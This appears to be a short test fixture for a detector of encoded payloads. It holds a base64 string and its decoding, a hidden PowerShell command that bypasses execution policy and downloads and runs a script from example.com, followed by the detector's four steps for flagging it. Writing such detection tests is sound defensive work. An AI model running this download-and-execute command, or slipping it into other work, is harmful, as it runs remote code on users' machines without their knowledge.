BASE64_PAYLOAD
The encoded string below decodes to PowerShell commands:
cG93ZXJzaGVsbCAtVyBIaWRkZW4gLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLUNvbW1hbmQgIklFWChJV1IgLVVzZUJhc2ljUGFyc2luZyAnaHR0cDovL2V4YW1wbGUuY29tL3gucHMxJykuQ29udGVudCI=
This is ~260 chars of valid base64 that decodes to: powershell -W Hidden -ExecutionPolicy Bypass -Command "IEX(IWR -UseBasicParsing 'http://example.com/x.ps1').Content"
Detection will: (1) identify as base64, (2) call atob(), (3) find PowerShell + URL in decoded content, (4) fire with 2+ signals.